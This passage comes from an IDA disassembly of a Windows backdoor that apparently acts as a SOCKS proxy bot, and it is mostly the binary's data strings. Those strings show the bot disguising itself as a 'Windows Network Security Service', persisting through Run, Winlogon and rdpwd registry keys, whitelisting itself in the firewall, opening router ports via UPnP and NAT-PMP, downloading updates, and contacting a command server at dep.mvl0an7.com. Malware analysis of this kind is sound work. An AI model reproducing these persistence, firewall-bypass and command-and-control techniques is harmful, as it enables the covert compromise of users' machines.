					; sub_44849C+F0o
aGetlasterror	db 'GetLastError',0     ; DATA XREF: sub_40617B+ADo
					; sub_44849C+ADo
aExitthread	db 'ExitThread',0       ; DATA XREF: sub_40617B+9Co
					; sub_44849C+9Co
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_40617B+8Bo
					; sub_44849C+8Bo
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40617B+75o
					; sub_44849C+75o
aVirtualallocex	db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_40617B+31o
					; sub_44849C+31o
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_406101+Ao
					; sub_448422+Ao
aDllNotExtracte	db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_405FBD:loc_4060F0o
					; sub_4482DE:loc_448411o
aDllOkS		db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+118o
					; sub_4482DE+118o
aTryingDllS	db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+F8o
					; sub_4482DE+F8o
aDllFoundS	db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+ADo
					; sub_4482DE+ADo
aCheckingDllS	db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+8Do
					; sub_4482DE+8Do
a000_tmp	db '000.tmp',0          ; DATA XREF: sub_405FBD+77o
					; sub_4482DE+77o
aWnss_		db 'wnss_',0            ; DATA XREF: sub_405FBD+66o
					; sub_405FBD+E1o ...
aOldDllS	db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+36o
					; sub_4482DE+36o
aR		db 'r',0                ; DATA XREF: sub_405FBD+16o
					; sub_4482DE+16o
aFileSWrittenWs	db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_405EB2+E1o
					; sub_4481D3+E1o
aFileSCreated	db 'file <%s> created',0Ah,0 ; DATA XREF: sub_405EB2+B5o
					; sub_4481D3+B5o
aFileSNotCreate	db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_405EB2+A4o
					; sub_4481D3+A4o
aWb		db 'wb+',0              ; DATA XREF: sub_405EB2+90o
					; sub_4481D3+90o
aResourceHereSi	db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_405EB2+50o
					; sub_4481D3+50o
a8001		db '#8001',0            ; DATA XREF: sub_405EB2+2Ao
					; sub_4481D3+2Ao
aDlltestliste_2	db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_405DB5:loc_405E6Ao
					; DMN1:loc_44818Bo
aDlltestliste_1	db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_405DB5+52o
					; DMN1:00448128o
aDlltestliste_0	db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_405DB5+37o
					; DMN1:0044810Do
aDlltestlistent	db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_405DB5+10o
					; DMN1:004480E6o
aDlltestthreadP	db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_405D3F+54o
					; DMN1:004480B4o
asc_40E58E	db '**',0               ; DATA XREF: sub_405CA2+5Fo
					; sub_4067B0+317o ...
aServicefixerth	db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405CA2+2o
					; DMN1:00447FC5o
asc_40E5AE	db '" ',0               ; DATA XREF: sub_405BE9+46o
					; sub_447F0A+46o
aRegisterservic	db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
					; DATA XREF: DMN0:loc_405B7Ao
					; DMN1:loc_447E9Bo
aSetservicest_1	db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405B5Co
					; DMN1:00447E7Do
aSetservicest_0	db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405B31o
					; DMN1:00447E52o
aSetservicestat	db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405B0Bo
					; DMN1:00447E2Co
aServicectrldis	db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_405A9Ao
					; DMN1:00447DBBo
aWaitingForStop	db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_40592F+ACo
					; sub_447C50+ACo
aEventCreatonEr	db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_40592F+71o
					; sub_447C50+71o
aEventCreated_	db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_40592F+5Do
					; sub_447C50+5Do
aWritingToHkcuA	db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405833+4Fo
					; sub_447B54+4Fo
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_405833+3Do
					; sub_405833+66o ...
aWritingToHklmA	db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405833+26o
					; sub_447B54+26o
asc_40E700	db '*',0                ; DATA XREF: sub_405833+Fo
					; sub_447B54+Fo
aLoad		db 'load',0             ; DATA XREF: sub_405772+15o
					; sub_405772+40o ...
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
					; DATA XREF: sub_405772+1Ao
					; sub_405772+45o ...
asc_40E73C	db ',',0                ; DATA XREF: sub_40569A+A1o
					; sub_4479BB+A1o
aUserinit	db 'Userinit',0         ; DATA XREF: sub_40569A+15o
					; sub_40569A+40o ...
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
					; DATA XREF: sub_40569A+1Ao
					; sub_40569A+45o ...
aStartupprogram	db 'StartupPrograms',0  ; DATA XREF: sub_405604+14o
					; sub_405604+3Bo ...
aSystemCurren_1	db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
					; DATA XREF: sub_405604+19o
					; sub_405604+40o ...
aRegreadCanTRea	db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_40549E+A2o
					; sub_4477BF+A2o
aRegreadReadIBy	db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_40549E+8Eo
					; sub_4477BF+8Eo
aRegreadOpenedS	db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_40549E+44o
					; sub_4477BF+44o
a8fc4ddd4C51e11	db '{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}',0 ; DATA XREF: DMN0:004053C2o
					; sub_40592F+44o ...
aDescription	db 'Description',0      ; DATA XREF: sub_405246+13Ao
					; sub_447567+13Ao
aDisplayname	db 'DisplayName',0      ; DATA XREF: sub_405246+116o
					; sub_447567+116o
aLocalsystem	db 'LocalSystem',0      ; DATA XREF: sub_405246+E9o
					; sub_447567+E9o
aObjectname	db 'ObjectName',0       ; DATA XREF: sub_405246+F2o
					; sub_447567+F2o
aErrorcontrol	db 'ErrorControl',0     ; DATA XREF: sub_405246+BDo
					; sub_405246+D9o ...
aStart		db 'Start',0            ; DATA XREF: sub_405246+A1o
					; sub_447567+A1o
aType		db 'Type',0             ; DATA XREF: sub_405246+82o
					; sub_447567+82o
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_405170+87o
					; sub_405246+15Eo ...
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_405170+Bo
					; sub_405246+Ao ...
aProvidesNetwor	db 'Provides network security options for system administrators.  Thi'
					; DATA XREF: sub_404FE9+9Bo
					; sub_405246+124o ...
		db 's service can not be stopped.',0
aServiceRegiste	db 'service registered',0Ah,0 ; DATA XREF: sub_404FE9:loc_405071o
					; sub_44730A:loc_447392o
aWnss		db 'wnss',0             ; DATA XREF: sub_404D77+19o
					; sub_404DC1+23o ...
aStartingCommTh	db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404967+239o
					; DMN1:00446EC1o
aNatpmpForwarde	db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404967+1A4o
					; DMN1:00446E2Co
aSocksPortI	db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404967+148o
					; DMN1:00446DD0o
aCanTBindListen	db 'can',27h,'t bind listen socket!',0Ah,0
aListener___	db 'listener...',0Ah,0  ; DATA XREF: sub_404967:loc_4049DFo
					; DMN1:loc_446D00o
aInternalprogra	db 'InternalProgramData',0 ; DATA XREF: sub_404967+55o
					; sub_404967+208o ...
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
					; DATA XREF: sub_404967+33o
					; sub_404967+1EAo ...
aConnectionClos	db 'connection closed.',0Ah,0 ; DATA XREF: sub_4042CD:loc_40493Ao
					; DMN1:loc_446C5Bo
aDataExchangeCo	db 'data exchange complete',0Ah,0 ; DATA XREF: sub_4042CD:loc_40492Fo
					; DMN1:loc_446C50o
aTransferringDa	db 'transferring data...',0Ah,0 ; DATA XREF: sub_4042CD+558o
					; DMN1:00446B46o
aConnectedToSI	db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+522o
					; DMN1:00446B10o
aConnectionToSI	db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_4042CD+4E1o
					; DMN1:00446ACFo
aConnectingToSI	db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+4A3o
					; DMN1:00446A91o
aSocksVIS	db 'socks v%i  [%s]',0Ah,0 ; DATA XREF: sub_4042CD+119o
					; DMN1:00446707o
aConnectionReje	db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_4042CD+D8o
					; DMN1:004466C6o
aConnectionFrom	db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_4042CD+62o
					; DMN1:00446650o
a_win32__wnss_u	db '_win32__wnss_um__',0 ; DATA XREF: sub_40410E+10o
					; sub_44642F+10o
aSystem		db 'SYSTEM',0           ; DATA XREF: sub_4040C3+31o
					; sub_4463E4+31o
asc_40EADA	db 0Dh,'                      ',0Dh,0 ; DATA XREF: sub_40400E+90o
					; DMN1:004463BFo
aISecondsLeft_	db 0Dh,'%i seconds left   ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o
					; DMN1:00446396o
aSrvWaitingISec	db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o
					; DMN1:00446385o
aSrvcommthreadD	db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o
					; DMN1:loc_4462F4o

; =============== S U B	R O U T	I N E =======================================



sub_40EB3C	proc near		; DATA XREF: sub_403C3F+351o
					; DMN1:004462B1o

; FUNCTION CHUNK AT 0040EBB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC21 SIZE 00000008 BYTES

		push	ebx
		push	edx
		push	esi
		cmp	ah, [eax]
		jnb	short loc_40EBB7
		popa
		jb	short loc_40EBBA
		imul	ebp, [esi+67h],	64707520h
		popa
		jz	short sub_40EBB5
		jb	short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		db	2Eh
		or	al, cs:[eax]
sub_40EB3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EB56	proc near		; DATA XREF: sub_403C3F+2F5o
					; DMN1:00446255o
		push	ebx
		push	edx
		push	esi
		cmp	ah, [eax]
		push	ebp
		push	eax
		inc	edi
		push	edx
		inc	ecx
		inc	esp
		inc	ebp
		and	ds:0A3E73h, bh
sub_40EB56	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
byte_40EB69	db 53h,	52h, 56h	; DATA XREF: sub_403C3F:loc_403EF0o
					; DMN1:loc_446211o
		dd 5049203Ah, 5453494Ch
		db 0Ah,	0
word_40EB76	dw 5253h		; DATA XREF: sub_403C3F:loc_403EE0o
					; DMN1:loc_446201o
		dd 42203A56h, 0A4559h
aSrvAckReject_0	db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB3C+14j
					; DATA XREF: sub_403C3F+252o ...
aSrvAckRejected	db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o
					; DMN1:00446199o

; =============== S U B	R O U T	I N E =======================================



sub_40EBB5	proc near		; CODE XREF: sub_40EB3C+12j
					; DATA XREF: sub_403C3F+220o ...
		push	ebx
		push	edx
sub_40EBB5	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40EB3C


loc_40EBB7:				; CODE XREF: sub_40EB3C+5j
		push	esi
		cmp	ah, [eax]


loc_40EBBA:				; CODE XREF: sub_40EB3C+8j
		jnb	short loc_40EC21
; END OF FUNCTION CHUNK	FOR sub_40EB3C
		outsb
		imul	ebp, fs:[esi+67h], 6A657220h
		arpl	gs:[ebp+64h], si
		and	[ecx+50h], cl
		jnb	short near ptr aSrvSendingReje+18h
		popaw
; ---------------------------------------------------------------------------
		db 69h,	6Ch, 65h
		db 64h,	0Ah, 0
aSrvSendingReje	db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o
					; DMN1:00446115o
aSrvAckHandshac	db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo
					; DMN1:004460FBo
word_40EC12	dw 5253h		; DATA XREF: sub_403C3F:loc_403DC1o
					; DMN1:loc_4460E2o
		dd 41203A56h, 68204B43h, 73646E61h
		db 68h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EB3C


loc_40EC21:				; CODE XREF: sub_40EB3C:loc_40EBBAj
		popa
		arpl	[ebx+69h], bp
		outsb
		or	al, [bx+si]
; END OF FUNCTION CHUNK	FOR sub_40EB3C
; ---------------------------------------------------------------------------
aSrvHandshaking	db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o
					; DMN1:004460D2o
aSrvRip?I	db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o
					; DMN1:004460A1o
aSrvHandshaki_0	db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o
					; DMN1:loc_446089o
aSrvConnectingF	db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o
					; DMN1:00446079o
aSrvConnecting_	db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o
					; DMN1:00446057o
aSrvSI		db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo
					; DMN1:0044602Bo
aMyPortI	db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o
					; DMN1:00446008o
aDep_mvl0an7_co	db 'dep.mvl0an7.com',0  ; DATA XREF: sub_403C3F+2Bo
					; DMN1:00445F8Bo
aAuthorizedIpIS	db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo
					; sub_445EA7+5Fo
aRunningSS___	db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo
					; DMN1:00445E0Ao
asc_40ECEC	db '" "',0              ; DATA XREF: sub_40399A+10Co
					; DMN1:00445DC7o
aUpdate		db '*update "',0        ; DATA XREF: sub_40399A+E4o
					; DMN1:00445D9Fo
aMsssx		db 'msssx',0            ; DATA XREF: sub_40399A+A2o
					; DMN1:00445D5Do
aDownloadedToS	db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo
					; DMN1:00445D36o
aMsss		db 'msss',0             ; DATA XREF: sub_40399A+4Bo
					; DMN1:00445D06o
aUpdateUrlS	db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o
					; DMN1:00445CDFo
aDownloadedSS	db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo
					; sub_445B59+14Bo
aDownloadedFail	db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo
					; sub_445B59+12Bo
aDownloadingSS	db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo
					; sub_445B59+AEo
aFopenS___	db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o
					; sub_445B59+87o
aWb_0		db 'wb',0               ; DATA XREF: sub_403838:loc_4038A7o
					; sub_445B59:loc_445BC8o
aInternetopenur	db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o
					; sub_445B59+51o
aInternetopenI	db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o
					; sub_445B59+22o
aMsdownloader	db 'msdownloader',0     ; DATA XREF: sub_403838+14o
					; sub_445B59+14o
asc_40EDC9	db ' ',0                ; DATA XREF: sub_403723+98o
					; DMN0:00404D09o ...
aCWindowsSystem	db 'C:\WINDOWS\system32\wnss.exe',0 ; DATA XREF: sub_403723:loc_40378Bo
					; DMN0:loc_404CD9o ...
asc_40EDE8	db '"',0                ; DATA XREF: sub_403723+33o
					; sub_403723+7Fo ...
a_win32__wnss_0	db '_win32__wnss_sm__',0 ; DATA XREF: DMN0:004036B2o
					; sub_4036F6+4o ...
a_win32__wnss_s	db '_win32__wnss_sdm__',0 ; DATA XREF: sub_403604+10o
					; sub_403658+4o ...
aNatPmpReques_1	db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o
					; sub_445643+208o
aNatPmpFwdReque	db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo
					; sub_445643+1BCo
aReceivingNat_0	db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o
					; sub_445643+171o
aSetsockoptNa_0	db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
					; DATA XREF: sub_403322+13Ao
					; sub_445643+13Ao
aSendingNatPmpF	db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o
					; sub_445643+C5o
aRouterIpS	db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o
					; sub_445643+49o
aNatPmpReques_0	db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
					; DATA XREF: sub_403113+1D5o
					; sub_445434+1D5o
aNatPmpRequestI	db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o
					; sub_445434+192o
aReceivingNatPm	db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao
					; sub_445434+14Ao
aSetsockoptNatP	db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o
					; sub_445434+113o
aSendingNatPmpR	db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o
					; sub_445434+D6o
aDefaultGateway	db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o
					; sub_445434+62o
aIupnpDiscove_4	db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do
					; sub_444E23+55Do
aControlurl	db '<controlURL>',0     ; DATA XREF: sub_402B02:loc_402EFCo
					; sub_444E23:loc_44521Do
aService	db '</service>',0       ; DATA XREF: sub_402B02:loc_402ECFo
					; sub_444E23:loc_4451F0o
aService_0	db '<service>',0        ; DATA XREF: sub_402B02:loc_402E9Bo
					; sub_444E23:loc_4451BCo
aUrnSchemasUpnp	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: sub_402B02:loc_402E62o
					; sub_444E23:loc_445183o
aIupnpDiscove_3	db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
					; DATA XREF: sub_402B02+34Fo
					; sub_444E23+34Fo
aLocationS	db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o
					; sub_444E23+316o
aIupnpDiscove_2	db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
					; DATA XREF: sub_402B02+2F5o
					; sub_444E23+2F5o
aIupnpDiscove_1	db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
					; DATA XREF: sub_402B02+27Do
					; sub_444E23+27Do
aLocation	db 'location',0         ; DATA XREF: sub_402B02:loc_402D60o
					; sub_444E23:loc_445081o
aIupnpDiscove_0	db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
					; DATA XREF: sub_402B02+24Do
					; sub_444E23+24Do
aSchemasUpnpOrg	db 'schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: sub_402B02+230o
					; sub_444E23+230o
aIupnpDiscovery	db 'IUPnP discovery request #%i -- checking...',0Ah,0
					; DATA XREF: sub_402B02+224o
					; sub_444E23+224o
aReceivingIupnp	db 'receiving IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+1ACo
					; sub_444E23+1ACo
aSetsockoptIupn	db 'setsockopt IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+164o
					; sub_444E23+164o
aMSearchHttp1_1	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo
					; sub_402B02+136o ...
		db 'Host: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: upnp:rootdevice',0Dh,0Ah
		db 'Man: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
aSendingIupnpDi	db 'sending IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+113o
					; sub_444E23+113o
aXbind___	db 'xbind...',0Ah,0     ; DATA XREF: sub_402B02+F3o
					; sub_444E23+F3o
aShit		db 'shit!',0Ah,0        ; DATA XREF: sub_402B02+BFo
					; sub_444E23+BFo
a239_255_255_25	db '239.255.255.250',0  ; DATA XREF: sub_402B02+45o
					; sub_402B02+92o ...
aHttpAddmapRe_1	db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
					; DATA XREF: sub_402896+235o
					; sub_444BB7+235o
aHttpAddmapRe_0	db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
					; DATA XREF: sub_402896+196o
					; sub_444BB7+196o
aHttpAddmapRequ	db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o
					; sub_444BB7+B0o
aPostSHttp1_1Ho	db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo
					; sub_444BB7+7Fo
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aMPostSHttp1_1H	db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o
					; sub_444BB7+58o
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aSEnvelopeXmlns	db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao
					; sub_444BB7+1Ao
		db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
		db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
		db '<s:Body>',0Dh,0Ah
		db '<u:AddPortMapping',0Dh,0Ah
		db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
		db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
		db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
		db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
		db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
		db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
		db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
		db 'ption>',0Dh,0Ah
		db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
		db '</u:AddPortMapping>',0Dh,0Ah
		db '</s:Body>',0Dh,0Ah
		db '</s:Envelope>',0
a200		db '200',0              ; DATA XREF: sub_4025A9:loc_402838o
					; sub_4448CA:loc_444B59o
asc_40F612	db 0Ah,0		; DATA XREF: sub_4025A9:loc_402809o
					; sub_402896:loc_402A56o ...
aHttpDiscover_0	db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
					; DATA XREF: sub_4025A9+234o
					; sub_4448CA+234o
aGetSHttp1_1Hos	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o
					; sub_4448CA+173o
		db 'HOST: %s:%i',0Dh,0Ah
		db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
		db 0Dh,0Ah,0
aHttpDiscoveryR	db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao
					; sub_4448CA+10Ao
aHttp		db 'http://',0          ; DATA XREF: sub_4025A9+25o
					; sub_402B02+4A1o ...
a_		db '.',0                ; DATA XREF: sub_402562:loc_402584o
					; sub_444883:loc_4448A5o
a6ea9b038C8014f	db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o
					; sub_402449+5o ...
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_402296+8Eo
					; DMN0:00402373o ...
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aWindowsNetwork	db 'Windows Network Security Service',0 ; DATA XREF: sub_402296+6Do
					; sub_404FE9+42o ...
aEnabled	db ':*:Enabled:',0      ; DATA XREF: sub_402296+5Ao
					; sub_4058BE+28o ...
aHandshakeBadVe	db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o
					; DMN1:004441A9o
aHandshakeBadPa	db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o
					; DMN1:00444189o ...
aHandshakeRecvE	db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o
					; DMN1:00444174o
aProtorecvDataS	db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do
					; sub_443ECD+12Do ...
aPktrecvPacketi	db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo
					; sub_443ECD+DEo
aPktrecvInvalid	db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o
					; sub_443ECD+86o
aPktsendIIBytes	db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o
					; sub_443DFB+68o
aSIsS		db '%s is %s',0Ah,0     ; DATA XREF: DMN0:004018A6o
					; DMN1:00443BC7o
aWinsock2_xInit	db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co
					; sub_44360D:loc_44365Do ...
aWinsock1_1Init	db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo
					; sub_44360D:loc_443650o
aA		db 'a',0                ; DATA XREF: DMN0:004011E9o
					; DMN1:0044350Ao
aPm		db 'PM',0               ; DATA XREF: DMN0:loc_401190o
					; DMN1:loc_4434B1o
aAm		db 'AM',0               ; DATA XREF: DMN0:00401189o
					; DMN1:004434AAo
a02i02i02iIIIS	db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o
					; DMN1:004434E5o ...
aS_0		db '%s',0               ; DATA XREF: DMN0:0040112Bo
					; DMN0:00401147o ...
		align 4
dword_40F8A4	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4071B0+5o
					; sub_4494D1+5o
		dd offset sub_40721A
dword_40F8B0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4073C0+5o
					; sub_4496E1+5o
		dd offset sub_40741B
dword_40F8BC	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4074C0+5o
					; sub_4497E1+5o
		dd offset sub_40751E
dword_40F8C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407620+5o
					; sub_449941+5o
		dd offset sub_40766D
dword_40F8D4	dd 0FFFFFFFFh, 407988h,	4079A3h	; DATA XREF: sub_407930+5o
					; DMN1:00449C56o
dword_40F8E0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407AA0+5o
					; sub_449DC1+5o
		dd offset sub_407B1D
dword_40F8EC	dd 0FFFFFFFFh, 407C45h,	407C60h, 4000h ; DATA XREF: sub_407B60+5o
					; DMN1:00449E86o
dword_40F8FC	dd 0FFFFFFFFh, 0	; DATA XREF: sub_408260+5o
					; sub_44A581+5o
		dd offset sub_4082BE
		dd offset loc_4083EC
		dd offset loc_4083A2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
off_40F92C	dd offset loc_4083DF	; DATA XREF: sub_408300+2Er
					; sub_44A621+2Er
		dd offset loc_4083A2
		dd offset loc_4083B2
		dd offset loc_4083B2
		dd offset loc_408420
		dd offset loc_4083D2
		dd offset loc_4083F9
; ---------------------------------------------------------------------------
		retn	4083h
; ---------------------------------------------------------------------------
		align 4
		retn	4083h
; ---------------------------------------------------------------------------
		align 10h
		retn	4083h
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4083A2
		dd offset loc_408413
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083B2
		dd offset loc_4083D2
		dd offset loc_408447
		dd offset loc_4083B2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
